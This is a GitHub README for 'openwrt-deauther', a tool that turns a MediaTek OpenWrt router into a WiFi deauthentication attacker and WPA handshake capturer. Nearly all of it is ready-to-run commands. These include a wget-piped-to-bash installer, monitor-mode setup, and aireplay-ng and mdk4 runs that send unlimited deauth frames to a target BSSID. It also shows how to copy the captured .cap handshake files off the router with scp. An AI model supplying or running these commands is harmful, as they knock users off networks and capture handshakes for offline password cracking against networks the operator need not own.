Skip to content

openwrt wifi deauther based on aireplay-ng | capture wpa handshake using openwrt router.

Notifications You must be signed in to change notification settings

xiv3r/openwrt-deauther

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

49 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Requirements

  • Mediatek MT7628* chipset router
  • Mipsel-24kc package
  • Openwrt firmware version 22.03.*

Notes

  • Functions similar on linux aircrack-ng aireplay-ng and mdk4
  • Can also capture WPA2 WPAWPA2PSK Handshakes
  • Doesn't work on openwrt version 23.. up

Root access

ssh root@192.168.1.1
telnet 192.168.1.1

Auto Install

opkg update && wget -qO- https://raw.githubusercontent.com/xiv3r/openwrt-deauther/refs/heads/main/install.sh | bash

Using mdk4

install mdk4

opkg update && wget -O mdk4.ipk https://raw.githubusercontent.com/xiv3r/openwrt-deauther/refs/heads/main/mdk4_4.2-5_mipsel_24kc.ipk && opkg install mdk4.ipk

Using aireplay-ng

run monitor mode

sh wlan0mon.sh && airodump-ng wlan0mon

ctrl + c

aireplay-ng wlan0mon --deauth 0 -a (Mac BSSID)

Monitor Mode

wget -qO- https://raw.githubusercontent.com/xiv3r/openwrt-deauther/refs/heads/main/wlan0mon.sh | sh

Run

sh wlan0mon.sh

Using mdk4

sh wlan0mon.sh && mdk4 wlan0mon d

Manual

More info

  • aireplay-ng --help
  • airodump-ng --help
  • aircrack-ng --help

iw phy phy0 interface add wlan0mon type monitor

ip link set wlan0mon up

airodump-ng wlan0mon

aireplay-ng wlan0mon --deauth 0 -a 32:AA:E4:18:90:45 --ignore-negative-one

  • -a | bssid -a (32:AA:E4:18:90:45)

Export handshake file from openwrt to local storage

Tip

install SFTP server in both system in order that SCP to work

Openwrt: opkg install openssh-sftp-server

Linux/Termux: apt install openssh-sftp-server

  • Termux Terminal
scp root@192.168.1.1:*.cap storage/downloads
  • Kali terminal
scp root@192.168.1.1:*.cap /home/*/Downloads

Tip

  • .cap - export any name with .cap file format

About

openwrt wifi deauther based on aireplay-ng | capture wpa handshake using openwrt router.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages